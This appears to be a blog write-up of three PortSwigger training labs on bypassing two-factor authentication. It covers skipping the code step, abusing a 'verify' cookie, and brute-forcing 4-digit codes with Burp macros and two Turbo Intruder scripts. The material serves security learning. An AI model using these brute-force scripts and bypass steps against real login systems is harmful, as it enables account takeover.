Intro
This post/writeup is all about the Authentication vulnerabilities or Broken Authentication if we follow OWASP naming scheme.
I’ll be using primarily Portswigger Web Academy Labs, but i do intent do throw other labs and writeups here as well.
2FA (two-factor authentication) is based on something you know and something you have and should be implemented in a way so they check the same factor in two/more diferent ways.
TOC
2FA simple bypass
This lab’s two-factor authentication can be bypassed. You have already obtained a valid username and password, but do not have access to the user’s 2FA verification code. To solve the lab, access Carlos’s account page.
Your credentials: wiener:peter
Victim’s credentials carlos:montoya
Bypassing the 2FA through bad auth. implementation
If we login as wiener:peter
we recieve an Email.
If we enter the 4-digit code, we’d get to my-account
page.
Problem with this applications authentication implementation is that when we’ve entered the username:password
we’re already logged in thus skipping the 2FA is entirely possible.
If we enter carlos:montoya
we’d get asked for 4-digit code BUT if we then just go to /my-account
we would have bypassed that step.
If we do just that as described, we’d solve the lab!
2FA broken logic
This lab’s two-factor authentication is vulnerable due to its flawed logic. To solve the lab, access Carlos’s account page.
Your credentials: wiener:peter
Victim’s username: carlos
You also have access to the email server to receive your 2FA verification code.
Vulnerable 2FA broken logic Enumeration
Let’s first login using known working credentials wiener:peter
.
After entering credentials we have to enter 4-digit code which we can retrieve from Email client
with a message like Hello! Your security code is 1731.
.
Let’s inspect both requests now in Burp.
1st Request to /login
2nd Request to /login2
There is an unusual cookie verify=wiener
.
If we send GET request to login2
to Burp Repeater. Now few Questions arise:
- Can we simply ask for 2FA token? We should recieve a new code if we use repeater
- Can we also do it for
carlos
? We shouldn’t recieve any new code when we use repeater => GET Request to/login2
- Can we bruteforce the code? Will we be redirected to
carlos
’smy-account
or back to login or will we see any errors?
Vulnerable 2FA broken logic Exploitation
Let’s ask for token for carlos
.
Send to Turbo Intruder
:
We know that we need 302 as result, considering how application reacts on correct MFA-code.
Code used in Turbo Intruder. Only digits to 3000 will be used, but it could’ve been set to 9999
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Find more example scripts at https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=3,
requestsPerConnection=4,
pipeline=False
)
for i in range(3000):
engine.queue(target.req, '{:d}'.format(i).zfill(4))
@MatchStatus(302)
def handleResponse(req, interesting):
if interesting:
table.add(req)
There was a hit in ca 45 seconds.
Code was 0810.
If i open same request in the Browser, we’re logged in as Carlos
2FA bypass using a brute-force attack
This lab’s two-factor authentication is vulnerable to brute-forcing. You have already obtained a valid username and password, but do not have access to the user’s 2FA verification code. To solve the lab, brute-force the 2FA code and access Carlos’s account page.
Victim’s credentials: carlos:montoya
2FA Enumeration
Since 2FA mechanismus is pretty much the same as in the previous 2 exercises i’ll just describe what happens:
- POST Request to
login
with username and password - We land on
login2
where we have to enter 4-digit token.
Now if there is no Brute-force defense mechanismus on 4-digit PIN we will be able to brute-force it, however we need to bypass CSRF Token as well. After 2 retries we’ll be sent back to login
where we need to enter password again.
In order bypass CSRF and auto-logout we need to automate the following:
- Get Request to
/login
. Capture the CSRF here - POST Request to
/login
- GET /login2
- POST
/login2
with CSRF.
2FA Exploitation
We can use Project Sessions with Macro that would help us retrieve new CSRF token. As already mentioned, this would be the requests that we need:
If we do a test run, we can see that we’re asked for 4-digit code and CSRF token seems to be present as hidden field.
Macro has now been set up:
Rule Settings were changed as i’ll be using Target Scope AND Extender
for Turbo Intruder
Now if we start Intruder, CSRF token should get changed automatically so We don’t need to worry about CSRF and/or do anything with it.
Payload was set as following using Numbers
:
Remember, we would see HTTP Error 400 if CSRF token would not match, so brute-force works!
This would also work with Turbo Intruder
. I’ve changed script as following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Find more example scripts at https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=1,
#pipeline=False,
engine=Engine.BURP
)
for i in range(9999):
engine.queue(target.req, '{:d}'.format(i).zfill(4))
@MatchStatus(302)
def handleResponse(req, interesting):
if interesting:
table.add(req)
There’s a PIN
I haven’t thought of that, but attack should’ve been stopped as soon as HTTP 302
was returned.
Anyways, the lab has been solved!